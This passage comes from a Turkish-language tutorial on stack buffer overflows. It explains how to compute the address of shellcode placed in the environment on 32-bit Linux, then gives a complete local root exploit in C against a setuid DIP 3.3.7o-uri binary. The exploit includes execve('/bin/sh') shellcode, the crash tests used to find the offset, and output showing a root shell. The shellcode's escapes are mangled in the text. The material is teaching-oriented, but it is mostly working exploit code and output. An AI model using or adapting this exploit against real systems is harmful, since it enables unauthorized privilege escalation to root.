karistirilmamasi gereken bir nokta, strcpy()`nin kendi buffer`ini degil, main()`in
buffer`ini overflow etmesi. Yani strcpy() CALL edilirken, ondan sonraki
instruction`in adresi strcpy() RET ettikten sonra da eskisi gibi duruyor.
strcpy()`nin overwrite ettigi main()`in local degiskeni olan foo.
Evet, simdi burada kendi programimizin buffer`ini overflow ettik,
shellcode`umuzun adresin biliyorduk. Peki baska bir programin buffer`ini overflow
ederken napicaz? Shellkodumuzun hafizanin neresinde olacagini nereden bilecegiz?
Guzel bi soru.
Iki cevabi var:
1. Aleph1`in paper`inda yazdigi gibi, aslinda bilemeyiz, isletim sistemi o kodu
bi yerlere atar, biz de shell kod`un offset`ini tahmin edebiliriz. Ama bu su
anda cok ’lame’ kabul edilen bir yontem.
2. Akillilik edip, shell kodun adresini biz kendimiz belirleyebiliriz.
Nasil mi?
Linux ELF binary`si hafizaya yuklendigindeki hafiza haritasinin en yuksek adresine
gdb ile detayli gozatarsak sunu goruruz:
--------------------- 0xBFFFFFFF
|00 00 00 00| 0xBFFFFFFB (4 tane NUL byte)
|00 ...... | 0xBFFFFFFA (program_ismi)
| ..................|
|...................| 1. environment degiskeni (env[0])
|...................| 2. environment degiskeni (env[1])
|...................| 3. ...
|...................| ...
|...................| 1. argument string`i (argv[0])
|...................| 2. argument string`i (argv[1])
|...................| 3. ...
| . |
| . |
| . |
Daha once execve() nin son parametresinin environment degiskenlerini
tutan bir string`ler array`i oldugunu soylemistik. Buraya kadar guzel, yukaridaki
sekle bakarsaniz, biz, 1. enviroment degiskeninin *baslangic* adresini kesin
olarak hesapliyabiliriz.
envp = 0xBFFFFFFF -
4 - (4 tane NUL byte)
strlen(program_ismi) - (program isminin son NUL`i icermeyen boyutu)
1 - (yukarida strlen()`in saymadigi NUL)
strlen(envp[0]) (ilk environment degiskenin boyutu)
Daha da basitlestirirsek:
envp = 0xBFFFFFFA - strlen(program_ismi) - strlen(env[0])
O zaman envp[0]`a shellcode`umuzu koyup, envp`yi execve`ye environment
degiskenlerini barindiran array of strings parametresi olarak verebiliriz.
Boylece shellcode`umuzun adresini kesin bildigimize gore, overflow edecegimiz
buffer`i hangi adresle doldurmamiz gerektigini biliyoruz:
ret = 0xBFFFFFFA - strlen(program_ismi) - strlen(shellcode);
Buffer overflow ne demek biliyoruz, bufferi nasil overflow edecegimizi biliyoruz,
return adresi nasil modifiye edebilecegimizi biliyoruz, shellcode`umuzun adresini
de biliyoruz, sorun kalmadi, simdi ilk gercek exploit`umuzu yazabiliriz:
- The Exploit -
DIP (Dial Up IP protocol) programinin 3.3.7o-uri (8 Feb 96) versiyonunda,
bir buffer overflow hatasi vardi. Bu program bazi Linux dagitimlarinda by-default
setuid olarak geliyordu. Programin aldigi parametrelerden -l switch`i, programin
icinde manipulate edilirken stpcpy() fonksiyonu ile bounds checking
yapilmadan kopyalaniyordu. Dolayisiyla burada bir buffer
overflow olusuyordu.
DIP`in bu versiyonunda hatali olan kod asagidaki gibiydi:
command.c dosyasinda, asagidaki gibi bi operasyon var:
l = stpcpy(l, argv);
Man stpcpy deyip bakarsaniz stpcpy fonksiyonu buffer`in sinirlari
hakkinda hicbir kontrol uygulamadan kendisine verilen string`i digerine
oylece kopyaliyor. Iste burada yapacagimiz sey de bu buffera shell kodumuzun
adresini `dikkatlice` yerlestirmek.
[Robot@victim Robot]$ /usr/sbin/dip -k -l `perl -e `print ’A’x116``
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
No such file or directory
[Robot@victim Robot]$ /usr/sbin/dip -k -l `perl -e `print ’A’x117``
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA:
No such file or directory
Segmentation fault (core dumped)
[Robot@victim Robot]$
Yukarida gordugunuz gibi, dip`in -l switch`ine 116`dan fazla deger girdiginizde
(mesela 117) return adresi override etmis oluyorsunuz :)
Bu da stpcpy `de bufferin kopyalandigi yerden sonra 117. byte da RET basliyor
demek.
Simdi exploit:
/* /usr/sbin/dip | euid = 0 |*/
#include
#include
#include
#define BUFSIZE 250
char sc[] =
’xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b’
’x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd’
’x80xe8xdcxffxffxff/bin/sh’;
void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE] = ’A’;
int i;
int *ap = (int *)(buf + strlen(buf));
int ret = 0xbffffffa - strlen(sc) - strlen(’/usr/sbin/dip’);
for (i = 0; i < BUFSIZE - 4; i += 4)
*ap++ = ret;
execle(’/usr/sbin/dip’, ’dip’, ’-k’, ’-l’, buf, NULL, env);
}
Simdi exploitimizi aciklayalim:
BUFFER buyuklugunu 250 byte olarak belirliyoruz, ki 117`den fazla hersey olur
burda. (Fakat bu, her bir exploit icin gecerli degil. Detaylar bir sonraki
dokumanda.)
shell kodumuzu yaziyoruz, ve simdi de main():
shell kodumuzun adresini sakliyacagimiz 2 birimlik bir environment pointer
atiyoruz. Bunun birinci elemaninda shell kodun adresini, digerine de NULL atiyoruz
(execve() boyle istiyor):
char *env[2] = {sc, NULL};
Sonra buffer`imiz icin yer ariyoruz. Bu buffer`i -l switch`ine paremetre
verecegiz. Burda bir tek A koymamiz, ALIGNMENT icin. Hafiza cogumuzun kullandigi
32 bit islemcilerde 4 byte`lik bolmeler halinde adreslenir.
Dolayisiyla RET`in baslama ve bitimi arasinda 4 byte var. Bizim buffer`imiz
117 byte`dan sonra override ediyor RET`i. 117 4`un kati degil. ona
en yakin ve ondan kucuk 116 var. 1 eksik. O zaman buffer`a bir adet A yazalim
ve de dorder dorder ilerleyerek RET`i shell kodun adresi ile override edelim:
char buf[BUFSIZE] = ’A’;
Adres pointer`imiz buffer`in A`dan sonraki ilk bolumune isaret ediyor:
int *ap = (int *)(buf + strlen(buf));
RET adresimizi kesin hesapliyoruz, detaylari icin yukariya bakin.
int ret = 0XBFFFFFFA - strlen(sc) - strlen(’/usr/sbin/dip’);
Dorder dorder ilerleyip, ret`in degerini buffer`in icine dolduralim. Burada
neden *ap`nin degerini 4 artirmiyoruz derseniz, zaten ap bir pointer onun
degerini bir artirmak demek, adresin degerini 4 artirmak demektir:
for (i = 0; i < BUFSIZE - 4; i += 4)
*ap++ = ret;
Ve geriye kalan sadece execve. Once vulnerable programin full path`i, programin
ismi, NULL ile biten argumanlar dizisi ve environment pointer`i execle`ye
paremetre olarak veriyoruz:
execle(’/usr/sbin/dip’, ’dip’, ’-k’, ’-l’, buf, NULL, env);
That`s it! Iste Sonuc:
[Robot@victim Robot]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..AÍÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿
Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ¿Íÿÿ:
No such file or directory
bash# id
uid=501(Robot) gid=501(Robot) euid=0(root) groups=501(Robot)
bash#
